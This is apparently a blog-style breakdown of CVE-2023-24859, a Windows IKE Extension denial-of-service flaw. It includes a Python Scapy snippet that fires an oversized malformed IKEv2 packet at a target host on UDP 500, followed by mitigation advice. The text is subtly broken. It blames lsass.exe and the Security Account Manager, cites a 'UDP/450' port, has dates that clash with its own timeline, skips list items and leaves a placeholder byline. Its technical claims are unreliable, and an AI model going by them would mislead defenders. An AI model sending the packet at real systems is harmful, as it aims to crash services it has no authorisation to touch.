In April 2023, Microsoft patched a critical vulnerability affecting the Windows Internet Key Exchange (IKE) Extension. Tracked as CVE-2023-24859, this bug can allow a remote attacker to trigger a denial of service (DoS) on vulnerable Windows systems — potentially crashing the machine with a single maliciously-crafted network packet. In this exclusive breakdown, we'll explain the bug, walk through how attackers can abuse it, and provide code snippets to illustrate the exploit. You'll get references to official advisories and resources as well.

What is CVE-2023-24859?

CVE-2023-24859 is a Denial of Service (DoS) vulnerability found in the Windows implementation of the Internet Key Exchange (IKE) protocol. IKE is critical for VPN and IPsec secure communications, used for securely exchanging cryptographic keys. The vulnerability is in Windows' handling of certain IKEv2 packets, where malformed packets can crash a service (called "lsass.exe") — briefly or permanently denying network access or even causing a full system reboot.

> Severity: High (CVSS: 7.5)  
> Affected Versions: Windows 10, Windows 11, Windows Server 2016-2022  
> Attack Vector: Remote/Network  
> Attack Complexity: Low  
> User Interaction: None required

How Does the Vulnerability Work?

This vulnerability appears when the IKE Extension component does not properly validate certain fields in incoming IKEv2 packets. Specifically, a flaw in input parser allows a crafted packet to trigger an unhandled exception or memory corruption, leading to a crash. An attacker can send specially crafted packets to port UDP/500 or UDP/450 (commonly used by IKEv2), causing the Windows Security Account Manager to fail.

Affected Windows devices do not need to be part of a domain, actively running a VPN, or have IPsec connections in use. If the IKE Extension service is running, they're potentially exposed.

Here's how an attacker could exploit this in a real network

1. Send a malicious IKEv2 packet (crafted with incorrect or oversized payloads) to a target's UDP/500 or UDP/450 port.

The vulnerable Windows service attempts to process the malformed packet.

3. The input triggers the code bug, leading to a crash, restart, or even blue-screen of death (BSOD).
4. Result: Network services are disrupted. In some environments, a reboot or repeated crash denies all access.

The exploit does not require authentication. If UDP/500 or UDP/450 is reachable from the Internet, anyone can try this.

Example: Sending a Crafted IKEv2 Packet (Python)

Below is a simplified Python (Scapy) snippet that demonstrates how an attacker might start testing for the bug by sending large, malformed IKE_SA_INIT packets.

from scapy.all import *

# Substitute with target IP of vulnerable Windows system
target_ip = "192.168.1.100"
target_port = 500  # IKEv2 default

# Crafting a malformed IKEv2 header and payload
ike_header = b'\x00' * 28  # Oversized/empty or malformed header
malformed_payload = b'\xFF' * 1024  # Intentionally large payload

packet = (IP(dst=target_ip) /
          UDP(sport=50000, dport=target_port) /
          Raw(ike_header + malformed_payload))

send(packet, count=1)

> WARNING: This code is for educational purposes only.  
> Never test this script on systems you do not own or have permission to test.

Microsoft Security Guide:

CVE-2023-24859 | Windows IKE Extension Denial of Service Vulnerability

Microsoft Patch Tuesday April 2023:

Release Notes

CVE Record (Mitre):

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-24859

Install Microsoft security updates from April 11, 2023 (or later).

2. Restrict UDP/500 and UDP/450 access:

Disable IKE Extension (if not needed):

If you do not use IPsec/IKE, disable the IKEEXT service.

Closing Thoughts

CVE-2023-24859 shows that even core Windows networking code can hide dangerous bugs that are exploitable without any login or interaction from users. It's a reminder to keep systems patched and never expose internal service ports unless absolutely necessary.

Stay safe, patch fast, and monitor your logs!

Want learn more about Windows vulnerability analysis or curious about exploit development? Let us know what you'd like to see next!


Disclaimer:  
This write-up is for educational and defensive research only. Please do not use any information or code here to harm systems you do not own or administer. Always seek authorization.


*Authored by: [Your Name or Site]*  
*Date: 2024-07-04*

Timeline

Published on: 03/14/2023 17:15:00 UTC
Last modified on: 03/20/2023 03:55:00 UTC